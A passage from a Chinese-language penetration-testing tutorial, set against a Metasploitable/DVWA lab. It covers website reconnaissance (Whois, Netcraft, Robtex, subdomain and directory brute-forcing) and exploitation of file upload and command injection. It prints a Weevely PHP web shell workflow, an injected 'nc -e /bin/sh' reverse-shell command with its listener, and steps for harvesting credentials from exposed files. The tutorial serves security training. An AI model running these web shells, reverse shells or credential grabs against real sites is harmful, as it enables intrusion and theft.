这意味着,无论是谁访问页面,我们要发送的 Web Shell(如果是用 PHP 或服务器理解的语言编写的)将在服务器上执行,而不是在我们的计算机上执行。因此,它将让我们访问服务器,而不是访问那个访问了服务器的人。另一方面,一些网站使用 JavaScript,这是一种客户端语言。如果我们设法找到一个允许运行 JavaScript 代码的网站,那么该代码将由客户端执行。即使代码可能被注入到 Web 服务器中,它也将在客户端执行,并允许我们对客户端计算机进行攻击,而不是对服务器进行攻击。因此,区分客户端语言和服务器端语言是非常重要的。

攻击网站

在这一节中,我们将讨论如何攻击一个网站。我们有两种攻击网站的方法:

  • 我们可以使用迄今为止学到的攻击网站的方法。因为我们知道网站是安装在计算机上的,我们可以像攻击其他计算机一样尝试攻击并入侵它。我们还可以尝试使用服务器端攻击,看看安装了哪些 Web 服务器、操作系统或其他应用程序,如果我们发现任何漏洞,看看是否可以利用其中的漏洞访问该计算机。

  • 另一种攻击方式是使用客户端攻击。因为网站是由人类管理的,所以一定有人在管理和维护这些网站。这意味着,如果我们设法黑入网站的任何管理员,我们可能会得到他们的用户名和密码,然后从那里登录他们的管理面板或安全套接字外壳SSH)。然后我们将能够访问他们用来管理网站的任何服务。

如果这两种方法都失败了,我们可以尝试测试网页应用程序,因为它只是在该网站上安装的一个应用程序。因此,我们的目标可能实际上不是网页应用程序——也许我们的目标仅仅是使用该网站的一个人,但他的计算机是无法访问的。相反,我们可以访问该网站,黑入该网站,然后从那里找到我们的目标人物。

所有这些应用程序和设备都是相互连接的,我们可以利用其中之一,并通过它进入其他地方或其他计算机。在本节中,我们不会再关注服务器和客户端的攻击,而是将学习如何测试 web 应用程序本身的安全性。

我们的目标将是一个 Metasploitable 机器,如果我们在 Metasploitable 上运行ifconfig命令,我们将看到其 IP 地址是10.0.2.4,如下图所示:

如果我们查看/var/www文件夹,我们将看到所有网站文件存储在其中,如下图所示:

在上面的截图中,我们可以看到phpinfo.php页面,并且我们有mutillidaedvwaphpMyAdmin。如果我们进入 Kali 机器,或者进入同一网络中的任何机器,尝试打开浏览器并访问10.0.2.4,我们将看到为 Metasploitable 制作的网站,如下图所示。网站只不过是安装在网页浏览器上的一个应用程序,我们可以访问任何 Metasploitable 网站并用它们来测试其安全性:

另一个需要查看的是 DVWA 页面。它需要用户名和密码进行登录;用户名是admin,密码是password。输入这些凭据后,我们可以登录,如下图所示:

登录后,我们可以通过使用 DVWA 安全选项卡来修改安全设置:

在 DVWA 安全选项卡下,我们将 Script Security 设置为低,并点击提交:

在接下来的部分中,我们将保持此设置为低。因为这只是一个入门课程,我们只讨论如何发现 DVWA 和 Mutillidae web 应用程序中的基本漏洞。

如果我们以与访问 DVWA web 应用程序相同的方式访问 Mutillidae web 应用程序,我们应该确保将安全级别设置为 0,如下图所示:

我们可以通过点击页面上的切换安全选项来切换安全级别:

总结

在本章中,我们了解了执行网站渗透测试所需的概念和方法。我们首先了解了什么是网站,并简要概述了当我们在设备上请求特定网站时,后端处理的过程。然后,我们讨论了攻击网站的技术以及 Metasploitable 和 DVWA 等工具。

在下一章,我们将重点讲解信息收集与分析,并且如何利用这些信息来攻击目标系统。

第十八章:网站渗透测试 - 信息收集

在本章节中,我们将专注于使用 Whois 命令、Netcraft 和 Robtex 等工具来收集客户信息的各种技巧。接着,我们将学习如何通过针对托管在该服务器上的网站来攻击服务器。进入信息收集部分后,我们将学习子域名以及它们在执行攻击时的作用。之后,我们将搜索目标系统中的文件,以收集一些信息并分析这些数据。

本章节将涵盖以下主题:

  • 信息收集

  • 同一服务器上的网站

  • 从目标网站收集信息

使用工具进行信息收集

如我们在上一章节所见,了解客户的相关信息将有助于我们对受害者发动攻击,在本节中,我们将使用诸如 Whois 等命令,以及 Netcraft 和 Robtex 等工具,从目标系统收集信息。

Whois 查找

在开始尝试利用或寻找任何漏洞之前,首先要做的是信息收集。因此,我们尽可能多地收集关于目标的信息,网络应用程序也不例外。我们将从尽可能收集目标 IP 地址、域名信息、网站使用的技术、编程语言、安装的服务器类型以及使用的数据库类型开始。我们还将收集有关公司及其 DNS 记录的信息,并查看能否找到任何未列出的文件,或者任何其他人无法看到的子域名。现在,我们可以使用之前使用过的任何信息收集工具;例如,我们可以使用 Maltego,只需将实体设置为网站,然后开始执行操作。这和我们在第十一章中对普通人进行的操作客户端攻击 - 社会工程学完全相同。我们还可以使用 Nmap,甚至 Nexpose,测试网站的基础设施,看看能从中收集到什么信息。再次强调,我们不会在本章详细讲解这些,因为之前章节已经介绍过了。网站和普通计算机没有区别——正如我们所知,网站只不过是另一台计算机。所以,我们将专注于在网站上才能看到的技术,例如域名、DNS 记录等,这些内容是我们在之前的章节中没有接触过或无法使用的。

现在,我们首先要了解的是 Whois 查找。Whois 查找是一种用于查找互联网资源所有者的协议,例如服务器、IP 地址或域名。因此,我们并不是真正在进行黑客攻击;我们仅仅是从一个包含互联网资源所有者信息的数据库中检索信息。例如,当我们注册域名时,如果我们想注册一个域名,比如 za1d.com,当我们这样做时,我们需要提供关于注册人的信息、地址,然后该域名将会登记在我们的名下,其他人就能看到 Zaid 拥有这个域名。这就是我们要做的所有事情。

如果我们搜索 Whois 查找,我们会看到很多提供此服务的网站,因此我们将使用 whois.domaintools.com/输入我们的目标域名 isecurity.org,然后点击搜索:

如下图所示,我们可以获取到关于目标网站的大量信息:

我们可以看到可以用来联系域名信息的电子邮件地址。通常,我们会看到注册域名的公司的地址,但我们可以看到该公司在其域名上使用了隐私保护;但如果他们没有使用隐私保护,也就是说,如果他们没有启用隐私保护,我们将能够看到他们的地址以及关于实际公司的更多信息。

我们可以看到域名创建的时间,并且可以看到 isecur1ty.org 的 IP 地址。如果我们 ping 该 IP,我们应该得到与前面截图中提到的相同的 IP 地址。

如果我们运行 ping www.isecur1ty.org,会返回相同的 IP 地址:

我们可以看到 IP 位置,可以看到域名状态,我们还可以访问历史记录,但需要注册才能查看。现在,我们可以利用这些信息来寻找漏洞。

在接下来的截图中,在 Whois 记录中,我们可以找到更多关于注册此域名的公司的信息:

这是基本信息,但从长远来看,它非常有帮助,能让我们了解目标是什么、它们的 IP 是什么,以及它们使用了哪些服务。我们还可以看到所使用的名称服务器,以及这些服务器由哪家公司提供。

Netcraft

在这一部分,我们将学习如何获取关于目标网站所使用技术的信息。我们将使用一个名为 Netcraft 的网站(www.netcraft.com),然后输入目标地址,选择我们的目标 isecur1ty.org,并点击箭头:

接下来,点击站点报告:

在下图中,我们可以看到一些基本信息,例如站点标题、描述、关键词以及网站创建的时间:

再向下滚动,我们可以看到网站本身,域名,IP 地址,就像我们在前一部分看到的那样,域名注册商是为 isecur1ty 注册域名的公司:

在前面的截图中,我们通常能看到有关组织的信息,但在这里我们看不到,因为 isecur1ty 正在使用隐私保护。通常,我们应该能够看到这些信息,甚至更多。

在前面的截图中,我们可以看到它托管在英国,我们可以看到Nameserver,它是 ns1.digitalocean.com,再一次,如果我们直接访问 ns1.digitalocean.com,我们会发现这是一个提供网站托管的服务。

现在,我们知道这是一个网站托管公司,在最坏的情况下,我们可以利用这个信息,或者尝试黑入 ns1.digitalocean.com 本身,以获得对 isecur1ty 的访问权限。

继续向下滚动,我们将看到 isecur1ty 使用的托管公司的托管历史,我们可以看到最新的托管服务是在 Linux 上运行,使用 Apache,和我们在前一部分看到的一样,版本是 2.2.31,并且带有 Unix mod_ssl 和其他所有附加组件:

再次强调,找到目标计算机的漏洞和利用方式非常重要:

向下滚动到 Web Trackers,它将显示我们目标使用的第三方资源或应用程序,因此我们可以看到我们的目标使用了 Google、MaxCDN 和其他 Google 服务。这也可能帮助我们找到或获得对目标计算机的访问:

“技术”标签是这里最重要的标签或部分之一,因为它向我们展示了目标网站使用的技术:

我们可以在上面的截图中看到它正在使用 Apache Web 服务器,在服务器端,我们可以看到该网站使用了 PHP,这意味着该网站能够理解并运行 PHP 代码。这一点非常重要,因为如果我们将来能够在目标上运行任何类型的代码,我们就知道代码应该以 PHP 代码的形式发送。要在 Metasploit 或 Veil-Evasion 上创建有效载荷,我们应该以 PHP 格式创建它们,目标网站能够运行它们,因为它支持 PHP。在客户端,我们可以在前面的截图中看到该网站支持 JavaScript,所以如果我们运行 JavaScript,或者我们成功在网站上运行 JavaScript 代码,它不会在网站上执行,而是在查看网站的用户的设备上执行,因为 JavaScript 是客户端语言,而 PHP 是服务器端语言。如果我们成功运行 PHP 代码,它将直接在服务器上执行。如果我们成功运行 JavaScript,它将在访问该网站的用户的机器上执行。jQuery 也是如此,它只是 JavaScript 的一个框架。

向下滚动,我们可以在以下截图中看到该网站使用了 WordPress 自托管软件。这一点非常重要。Netcraft 还会显示网站上使用的任何 Web 应用程序:

WordPress 只是一个 Web 应用程序,因此我们可以看到我们案例中的其他示例,它是一个开源 Web 应用程序,可能有许多其他网站也在使用。幸运的是,我们可以去查找 Web 应用程序中的漏洞或弱点。如果我们足够幸运找到现有的漏洞,我们就可以在目标网站上利用它。例如,在我们的示例中我们使用的是 WordPress,所以如果我们去 www.exploit-db.com/ 搜索 WordPress,我们会发现很多与 WordPress 相关的漏洞。

WordPress 有不同的版本。我们需要确保我们和目标使用的是相同的版本。我们将通过示例来查看如何利用漏洞,但这只是展示了信息收集的强大功能。继续向下滚动,我们还可以找到其他信息,比如该网站使用了 HTML5 和 CSS 等内容:

因此,Netcraft 对了解网站非常有用。我们收集到了关于该网站的信息——它运行在 PHP 上,并支持 JavaScript。它使用 WordPress,因此我们可以利用 WordPress 对网站进行攻击。如果我们向上滚动,我们还发现了该网站的 Web 主机。因此,在最坏的情况下,我们可以尝试攻击 Web 主机服务器,并获得对目标网站的访问权限。

Robtex

在本节中,我们将学习如何获取目标网站的综合 DNS 信息。简要回顾一下 DNS 的概念,当我们输入FACEBOOK.COM时,DNS 服务器会将该名称转换为 IP 地址。DNS 服务器包含多个记录,每个记录指向不同的域名或不同的 IP 地址。有时它们指向相同的 IP 地址,但一般情况下,它们会请求域名并将其转换为 IP 地址,之后,依据地址,信息需要被存储在某个地方。我们将查询DNS 服务器并查看我们能从中获取哪些信息。以下图示展示了这个过程:

我们将使用一个名为 Robtex 的网站(www.robtex.com/),搜索isecur1ty.org。接下来,点击 GO 并选择网站上的第一个结果。

现在,我们可以看到这个报告包含了很多信息,但我们有一个很好的索引帮助我们浏览。很多信息比较复杂,因此我们会跳过其中的一些内容,因为我们希望尽量保持内容的基础性。网络渗透测试本身是一个庞大的话题。因此,我们会保持内容的简单性,并查看以下截图中能看到的哪些信息:

首先,我们获取到网站的信息。我们可以看到 DNS 记录,看到使用的名称服务器,以及一些邮件服务器。我们还可以看到我们提到过的记录和 DNS 服务器:

在这里,我们可以看到所有这些记录。我们可以看到 A 记录,它将域名转换为 IP 地址。如果我们记得,在执行 DNS 欺骗时,我们在dns.confiter.conf文件中添加了一个A记录。A 记录实际上是 DNS 服务器用来将 isecur1ty.org 链接到其 IP 地址的记录,但还有另一种类型的记录;例如,我们有 NS 记录,它将域名与名称服务器关联。我们还可以在下面的截图中看到 MX 记录,它将域名链接到邮件服务器,并且可以看到该网站使用了 Google 邮件服务器,因此它可能使用 Gmail 提供邮件服务:

向下滚动,我们看到了一张图,展示了所有服务如何相互作用,服务如何使用这些记录,以及它们如何被转换为 IP 地址:

服务之间的相互作用

在共享选项卡中,我们将查看是否有任何资源正在共享:

我们还可以看到它使用了三个名称服务器。我们可以看到邮件服务器,并且还可以看到多个网站指向相同的 IP 地址,多个域名也指向相同的 IP 地址。因此,上述网站存储在同一 Web 服务器上。现在,再次有关于名称服务器和共享邮件服务器的网站的更多信息。这并不意味着这些网站在同一服务器上,但最重要的是我们看到这些网站指向相同的 IP 地址,这意味着这些网站存在于同一服务器上。现在,如果你获得了上述任何一个网站的访问权限,那么攻击isecur1ty.org将变得非常容易。

同一服务器上的网站

网站安装在普通计算机上的网络服务器上,正如我们之前所说,这些普通计算机有 IP 地址,利用 IP 地址,我们可以访问目标网站。现在,在许多场景中,我们的目标网站或目标服务器上会包含大量的网站,因此它不仅包含我们要攻击的网站,还会包含同一服务器上的其他网站,即同一文件系统上的网站。例如,如果我们在目标网站中找不到任何漏洞,我们仍然可以尝试攻击安装在同一服务器上的其他网站。如果我们能做到这一点,那么我们就能访问服务器。访问服务器基本上意味着我们能够访问所有其他网站,因为服务器只是一个计算机,我们可以导航到我们想要攻击的网站并获得访问权限。假设我们试图攻击一个网站,但找不到漏洞,那么下一步就是尝试攻击同一服务器上存在的任何其他网站。因此,我们所说的同一服务器上存在的意思是它们有相同的 IP 地址。

从目标网站收集信息

到目前为止,我们只是使用命令和工具来收集有关受害者的信息。现在,我们将利用从受害者浏览的网址获取的信息,以及如何分析我们可以访问的目标机器上的文件,并查看我们能通过它们收集到哪些有用的信息。然后,我们将看看如何使用收集到的信息发起攻击。

查找子域名

在本节中,我们将学习子域名。我们到处都能看到子域名,例如,subdomain.target.com。现在,如果我们有beta.facebook.com,那么我们也许会有mobile.facebook.com,或者我们可能会看到user.facebook.com。假设我们在谷歌搜索mail.google.com,它会直接带我们到 Gmail。子域名之所以重要,是因为在很多情况下,网站会为自己的用户设置子域名,例如,为员工或特定客户设置,因此这些子域名通常不会公开,除非是某种 VIP 客户或者我们是员工。我们不会在搜索引擎上看到这些子域名,也永远不会看到通向它们的链接,因此它们可能包含漏洞或利用程序,帮助我们访问整个网站,但我们根本不知道它们的存在,因为它们没有被公开。另一个原因是,很多大网站在尝试安装新更新或添加新功能时,会先在子域名上进行安装,所以我们会看到beta.facebook.com,它实际上包含了 Facebook 的测试版,并且包含一些实验性功能。现在,实验性功能非常棒,因为它们仍然在开发阶段,发现漏洞的机会很大。事实上,最近就有人通过beta.facebook.com暴力破解了任何 Facebook 用户的恢复密码密钥,成功进入任何 Facebook 用户的账户。这只通过beta.facebook.com才有可能,因为 Facebook 曾经只在正式版中检查失败的尝试次数,而他们在测试版中并没有实现这个安全功能,因为他们认为没有人会访问那里。Beta 版通常比正式版包含更多的问题,因此尝试入侵它非常有用。在本节中,我们将学习如何找到那些没有被公开的子域名,甚至是公开的子域名,从而获得我们目标的子域名。

我们将使用一个叫做 knock 的工具。这个工具非常简单,我们实际上不需要安装它;我们只需要使用git命令下载它。命令是git clone,然后我们将工具的 URL 放在下面:

git clone https://github.com/guelfoweb/knock.git 

下载完成后,使用cd命令进入它,我们会看到一个.py文件。我们将使用python knockpy.py命令运行它,然后输入我们想要获取子域名的网站,即isecur1ty.org。以下是命令:

python knockpy.py isecur1ty.org

执行后,命令将显示一些关于网站的信息,如下图所示:

它将执行一次暴力破解和基于 Google 的子域名搜索,针对 isecur1ty,展示我们可以尝试并测试其安全性并查看其安装内容的任何子域名。也许我们能够通过该子域名访问网站。一旦扫描完成,如下图所示,我们成功找到了七个未公开的子域名:

其中一个是 ftp.isecur1ty.org。我们已经知道 isecurity.orglocalhost.isecur1ty.org 只是一个本地子域名。我们可以看到邮件服务器 mail.isecur1ty.org 也有自己的子域名,我们还可以看到一个很有意思的子域名 news.isecur1ty.org。它实际上包含了一个正在开发中的脚本的测试版本。因此,如果有人试图入侵我们的网站,他们会看到一个正在开发中的脚本,并且有很大的机会能够找到其中的漏洞,从而获得整个网站的访问权限。

这再次显示了信息收集的重要性,它可以用于获取网站访问权限。如果我们不做这些,我们会错过很多东西。例如,我们可能会错过一个包含多个漏洞的完整脚本,或者错过一个管理员登录页面或员工登录页面。

使用文件进行信息收集

到目前为止,我们已经学会了如何找到目标网站上未列出的子域名。在本节中,我们将看到如何查找存储在目标计算机或目标网站上的文件和目录。同样,这些文件可能包含密码、配置文件,或者包含有关实际服务器的信息,这将帮助我们进一步利用目标。

让我们首先看看“文件和目录”是什么意思,展示 Web 服务器上的目录结构。我们有我们的 Metasploitable 机器,通常 Web 服务器的内容存储在 var/www/ 目录中。如果我们运行 ls,我们将看到如下一些文件和目录:

如果我们运行 ls -la 命令,它将给出有关文件和目录的详细信息。

我们可以在上面的截图中看到有一个名为 mutillidae 的目录。Mutillidae 是一个设计用来像 Metasploitable 一样运行的 Web 应用程序。它的设计包含了许多漏洞,帮助我们学习如何利用它进行黑客攻击。你将看到它安装在名为 mutillidae 的目录中。

现在,如果我们访问 Metasploitable 机器的 IP 地址 10.0.2.4,我们可以轻松访问 Mutillidae。如果我们点击 URL,10.0.2.15 /mutillidae,应该能看到如下内容:

这意味着我们在mutillidae目录内。因此,每当我们看到一个正斜杠时,通常意味着我们在一个目录内。现在,如果我们运行cd mutillidae并且运行ls命令,我们会看到有大量的文件:

例如,假设我们想要打开其中一个文件,我们有index.php。如果我们输入index.php,那么这是我们当前在浏览器上的文件,它叫做index.php,我们能够在网址中看到它。

现在,我们从中学到的是,mutillidae只是我们网页根目录中的一个子目录。所以,目前,Metasploitable 网页应用程序存储在/var/www/mutillidae目录下,接着我们访问的文件是index.php。如果我们运行pwd命令,我们会看到我们在/var/www/mutillidae目录下:

IP 地址某种程度上隐藏了我们的www根目录,它隐藏了/var/www路径,然后在 IP 地址后面显示的将是所有内容。

因此,我们要查找的是所有我们无法看到的目录和文件。通过这些链接,我们将能够访问不同类型的页面。这与其他任何网站都一样,但总是有一些隐藏的文件和目录我们从未见过。我们将看到如何获取文件的 URL 并访问它们,读取其中的信息。为此,我们将使用一个叫做dirb的工具,接着为了了解如何使用这个工具,我们会运行man dirb命令,查看与该工具相关的所有选项。在下面的截图中,我们可以看到语法。要使用该工具,我们只需输入dirb,目标网址,然后输出一个字典列表。它的工作方式是基于暴力破解攻击,使用的是一个包含名字的字典列表,并用这些名字发送请求。每当它找到某个东西时,它会告诉我们,然后我们就能找到一个与字典列表中的名字相符的文件。因此,它只能根据我们提供的字典列表找到名字和目录:

我们可以使用crunch创建字典文件,或者使用dirb工具自带的字典文件。这里的选项允许我们配置工具的工作方式。我们可以根据需要更改设置。例如,我们可以禁用工具的递归目录遍历,让它只在一个目录中运行,而不是尝试多个目录。我们还可以让它询问我们是否要访问某个目录,而不是自动访问目录并尝试在其中查找文件,因为如果我们的目标是一个大型网站,这可能会变得非常耗时;可能有很多目录,工具会尝试访问所有这些目录并在其中查找文件。我们可以看到树的深度有多大。如果目标网站使用某种认证方式,我们还可以设置使用用户名和密码,并且可以使用-v选项来输出详细信息,使用-o将结果输出到文件中。

现在,让我们来看一个非常简单的例子。我们只是要在我们的目标http://10.0.2.4上运行dirb。我们加上了http://,因为记住,我们的目标是一个网站,而不是一个 IP 地址。接着,我们将输入我们想要查找文件和目录的目录,在我们这个例子中是mutillidae目录。我们不希望它访问其他目录中的内容,因为我们在 Metasploitable Web 服务器上安装了一些脚本;我们只希望它在mutillidae目录下工作。所以,命令如下:

dirb http://10.0.2.4/mutillidae/

在终端中输入命令并按下回车后,它将开始在 Web 应用程序中查找 URL 和文件。我们可以在以下截图中看到命令的执行情况:

处理过程需要一段时间,dirb将使用一个字典文件,并且它会使用存储在usr/share/dirb/wordlists/common.txt中的默认小型字典文件。

我们可以查看usr/share/dirb/wordlists/common.txt目录,看看是否有其他我们想使用的字典文件,但我们只能通过在命令后面提供字典文件的完整路径来使用它们。因此,和我们之前写命令的方式不同,我们只需要指定字典文件所在的路径。例如,假设它在root目录下,我们可以这样写:root/wordlist.txt,但目前使用的是默认的字典文件,存储在usr/share/dirb/wordlists/common.txt目录下。在下一部分中,我们将看到如何分析使用dirb工具下载的文件。

分析文件结果

在以下的结果截图中,我们可以看到dirb工具能够找到一些文件。其中一些文件我们已经知道:

现在,正如我们在前面的截图中看到的,favicon.ico只是一个图标;footerheader可能只是样式文件;而index.php是我们通常看到的首页。我们可以看到我们发现了一个login页面,允许用户登录。

现在,在很多场景中,我们可能通过利用一个非常复杂的漏洞找到目标的用户名和密码,结果却因为找不到登录入口而无法登录。在这种情况下,像dirb这样的工具非常有用。我们可以看到,phpinfo.php文件通常非常有用,因为它显示了关于在 Web 服务器上运行的 PHP 解释器的很多信息,正如我们在接下来的截图中看到的,这个文件包含了大量的信息:

前面的信息很有用,我们可以了解一些目录。从前面的截图中,我们知道它正在运行 php5,配置存储在.cgi文件中。.ini文件通常是 PHP 的配置文件,因此我们可以看到它们存储的位置。

当我们进一步向下滚动时,我们会看到安装的权限。我们还会看到它安装了 MySQL,所以它正在使用 MySQL:

我们可以在前面的截图中看到不同类型的配置文件存储的目录。我们还可以看到所有与 PHP 一起使用的模块和扩展,因此phpinfo.php文件非常有用。我们可以在接下来的截图中看到,我们成功找到了phpMyAdmin的登录页面,这基本上是用来登录数据库的:

另一个非常有用的文件是robots.txt文件,它告诉搜索引擎(如 Google)如何处理网站。因此,它通常包含我们不希望网站或 Google 看到或读取的文件。如果我们能读取robots.txt文件,那么我们就能看到网站管理员想要隐藏的内容。我们可以在下图中看到,网站管理员不希望 Google 看到一个名为passwords的目录,并且不希望我们看到名为config.inc的文件,也不希望它看到以下这些文件:

现在,让我们来看一下./passwords./config.inc文件:

我们可以在前面的截图中看到一个名为accounts.txt的文件,点击该文件后,我们可以看到一些用户名和密码。因此,我们可以看到有一个admin用户,密码是adminpass,并且我们可以看到adrian用户的密码是somepassword。所以,我们成功找到了用户名和密码,如下图所示:

现在,我们仍不确定前面的用户名和密码是用来做什么的,但我们确定我们已经找到了非常有用的信息。另一个有用的文件是config.inc文件,我们可以在下面的截图中看到,其中包含了允许我们连接到数据库的信息,因为它们有$dbhost$dbuser$dbpass$dbname参数:

我们可以看到用户名是root,密码为空,因此我们可以根据前面的截图中的命令继续尝试连接到数据库,然后我们应该能够访问数据库。

此外,我们仍不确定这些信息可以用在哪里,但我们可以将它们添加到列表中,尝试登录管理员账户,或者仅仅将它们存储在列表中,以便在进行暴力破解攻击时使用。

总结

本章重点讲解了信息收集。首先,我们使用了 WhoIs 查询、Netcraft 和 Robtex 等工具。然后,我们重点探讨了如何利用托管在服务器上的网站来攻击该服务器。接着,我们学习了域名以及它们如何成为可以用于攻击受害者的重要信息来源。之后,我们研究了如何访问目标系统或目标网站上的文件,并且如何从各种文件中分析出重要信息。

现在,在下一章中,我们将看到信息收集是多么重要和强大,它能够帮助我们发起对受害者的攻击。

第十九章:文件上传、代码执行和文件包含漏洞

本章将讨论不同的漏洞,并解释如何在 Metasploitable 机器上进行攻击。每个场景的详细说明将在本章涵盖。在每个部分的末尾,我们还将看到针对每个漏洞的快速解决方案。

本章将涵盖以下主题:

  • 文件上传漏洞

  • 代码执行漏洞

  • 本地文件包含漏洞

  • 基本的缓解措施

文件上传漏洞

在本章中,我们将了解文件上传漏洞。这是最简单的漏洞类型,因为它允许我们上传任何类型的文件。例如,如果目标计算机能够理解 PHP,我们可以上传任何 PHP 文件或 PHP Shell,从而完全控制目标计算机。

如果目标计算机或目标服务器支持 Python,我们可以直接上传 Python 代码或 Python Shell。我们可以使用 Veil-Evasion 或 Metasploit 来创建这些 Shell,或者我们可以使用自己的 PHP 或 Python Shell。

在接下来的部分,我们将了解一个名为 Weevely 的工具,它可以生成 PHP Shell,并允许我们获得访问权限,在目标计算机上执行一些很酷的操作。

开始使用 Weevely

当我们尝试进行网站渗透测试时,在使用任何工具或其他方法之前,先进行信息收集后浏览网站。先对网站有一个基本的了解,看看网站上安装了什么,并尝试利用其功能。

在浏览完该网站后,使用上传标签上传文件。该网站允许我们上传文件。有时在渗透测试任务中,可能会遇到一个允许我们上传个人头像的网页,或者一个允许我们上传汽车图片的机密网站:

如前面的截图所示,网站要求我们选择并上传一张图片。点击“浏览...”按钮选择任何图片,然后点击“上传”按钮上传图片。

我们现在可以看到,在下面的截图中,图片已成功上传:

它被放置在../../hackable/uploads/image.jpeg,这意味着回退两个目录,接着是文件名。

让我们看看图片是否真的上传了。我们将使用两个目录,漏洞目录(10.0.2.4/dvwa)和上传目录(hackable/uploads/image.jpeg)。我们使用这些目录只是为了确保图片被正确上传。一旦我们将目录添加到地址栏中,就可以看到图片已经成功上传:

接下来我们要做的事情是尝试上传一个 PHP 文件,为此我们将使用一个名为 Weevely 的工具。正如之前所说,要创建一个有效载荷或 shell,如果我们要这么称呼它(显然它将是一个 PHP shell),我们可以使用 Metasploit。为了创建一个 PHP 有效载荷,我们将使用一个专门用于 Web 应用渗透测试的工具。

它非常容易使用。首先,我们输入工具名称weevely并添加generate,因为我们想要生成一个有效载荷或 shell 文件。然后我们为文件设置一个密码,这样只有我们能访问并控制该网站。正如下面的代码段所示,密码是123456,并且我们希望将其存储在/root位置,命名为shell.php。命令如下:

weevely generate 123456 /root/shell.php

所以,weevely是程序的名称,generate是用来生成 shell 的命令,后面跟着密码,用于身份验证,并存储在/root/shell.php位置。

按下Enter键并创建它。如下面的截图所示,文件已在指定位置生成:

现在回到 DVWA 网站,按照上传图片的方式上传shell.php文件。我们只需运行以下命令:

weevely http://10.0.2.4/dvwa/hackable/uploads/shell.php 123456

这个过程类似于多重处理器等待与后门的连接。我们正在连接我们上传的后门,我们可以在下面的截图中看到我们已经进入了文件系统:

使用weevely,我们可以输入任何 Linux 命令,这些命令将在目标计算机上执行,并且我们可以看到结果。如果我们输入pwd,我们将看到/var/www/dvwa/hackable/uploads位置,如果输入id,我们将看到用户是www-data。如果我们输入uname -a,为了确认这是 Metasploitable 机器,它将给出如下输出:

我们可以做任何想做的事情:列出文件,进行导航;我们可以执行任何想要的 Linux 命令。Weevely 还提供了更多功能。如果我们输入help,我们将能够看到 Weevely 的更多功能。我们可以尝试提升权限,执行 SQL 查询,还有许多专为 Web 应用渗透测试设计的酷炫功能。

代码执行漏洞

这种类型的漏洞允许我们在目标服务器上执行操作系统OS)代码。如果目标服务器使用 Windows 系统,我们将能够执行 Windows 命令。如果它使用 Linux 系统,我们则能够执行 Linux 命令。

这是一个关键性漏洞,它允许攻击者对目标服务器做任何他们想做的事情。我们可以使用 wget 命令上传 PHP Shell,或者通过 wget Linux 命令上传负载文件或病毒。我们只需要确保我们上传到一个允许写入的文件或目录中。

利用这个漏洞的另一种方式是直接运行操作系统命令,通过这些命令获取反向 Shell。我们可以运行操作系统命令,以及操作系统支持的编程语言,尝试在我们的计算机上获得反向连接。

假设我们正在浏览,点击 DVWA 中的命令执行选项卡,进入文本框网页,它会免费执行 ping。我们应该始终尝试实验我们看到的输入框,尝试查看该输入框的作用,能注入什么内容,以及我们可以做些什么来启动黑客攻击。

比如,这个输入框要求我们执行 ping 操作,如果我们输入一个 IP 地址,比如 10.0.2.15,然后点击提交。我们可以在下方截图中看到 ping 的结果:

我们可以在 Linux 系统中查看 ping 命令的执行情况。现在让我们看看是否能利用它,实际执行 ping 命令。

如果它接受我们输入的内容,然后执行 ping 命令,我们该如何利用这个漏洞呢?

在 Linux 和基于 Unix 的系统中,我们可以使用分号(;)符号在一行上执行多个命令,例如 10.20.14.203;

如果我们尝试在终端中写入这个命令,首先输入列出命令 ls,然后输入 pwd,表示当前工作目录。所以,如果我们写 ls; 后跟 pwd,它会同时执行这两个命令,并显示工作目录。

这次,我们将在 IP 地址旁添加 pwd。下面是它的样子:

10.0.2.15; pwd
ping 10.0.2.15

现在我们来看一下执行过程是什么样的。返回到 DVWA 服务器,在地址栏输入 10.0.2.15; pwd,然后点击 submit。这张截图展示了我们当前工作目录的位置(var/www/dvwa/vulnerabilities/exec):

它清楚地标明了输入的 pwd 被执行了,这意味着我们可以输入任何命令,它都会被执行。

从本书的 GitHub 仓库下载 code-execution-reverse-shell-commands.txt 资源文件,其中包含通过命令从目标计算机获取反向连接的命令。这里有一些命令可以帮助我们建立反向连接,所有命令都取决于编程语言。我们有 PHP、Ruby、PERL 和 BASH 的命令。

BASH 是 Linux shell 命令语言,因此所有 Unix 操作系统都能够执行 BASH 命令。bash命令应该在大多数基于 Unix 的系统上都能够运行。再次强调,大多数用户会使用 Python 和 Netcat。在本章中我们将使用 Netcat。

在开始之前,我们将像之前使用 Metasploit 进行多处理一样监听连接。我们可以使用多处理程序来监听连接。Netcat 只是一个工具,允许我们监听和连接计算机。使用以下命令:

nc -vv -l -p 8080

8080是端口,nc是程序,vv用于查看详细输出。我们可以检查输出并查看是否出现任何问题。-l -p命令在8080上用于监听。按下Enter,我们将能够看到以下消息:

下一个命令将帮助我们使用 Netcat 将 Web 服务器连接回我们的计算机。因此,让我们假设 Web 服务器上有 Netcat,并检查它的工作原理。

参考code-execution-reverse-shell-commands.txt文件中的 Netcat 命令,其中写有所有命令。以下是命令:

nc -e /bin/sh 10.0.2.15 8080

如图所示,我们将使用/bin/sh,设备的当前 IP,攻击者设备,然后是端口。在我们的情况下,将是10.0.2.14 8080

复制命令并将其粘贴到 DVWA 服务器的地址栏中,以便执行pwd命令。之前使用的命令是10.0.2.15; pwd。但现在让我们尝试删除pwd然后粘贴代码。以下是命令:

10.0.2.15; nc -e /bin/sh 10.0.2.15 8080

这个 IP 首先将 Web 服务器连接回 Kali 机器,然后再连接到攻击者机器:

返回终端,我们将看到从10.0.2.1510.0.2.4的连接调用,并且我们将再次添加pwdlsid。如截图所示,当我们插入id命令时,我们将得到www-data,然后我们可以添加uname来确认是否是 Metasploitable。以下是展示这些信息的截图:

我们可以在目标计算机上运行任何命令并访问目标计算机。

本地文件包含漏洞

本地文件漏洞或漏洞允许我们读取与漏洞相同服务器中的任何文件;即使文件存在于/var/www目录之外,我们也能够读取其中的信息。

漏洞是关键的,因为我们可以读取任何文件,比如重要文件或密码文件。此外,如果同一服务器上有许多网站,我们设法找到一个我们不针对的网站,那么我们可能能够访问与我们针对的网站相关的文件,然后进一步从那里利用该网站。

我们将通过 URL 利用此漏洞。因此,通常在我们的代码执行示例中,我们会在文本框中编写代码。有时,我们可能会在 URL 中发现代码漏洞,通常会包含 cmd 这样的关键字。

之前的流程继续。点击 DWVA 服务器上的文件包含选项卡,得到的 URL 为 http://10.0.2.4/dvwa/vulnerabilities/fi/?page=include.php

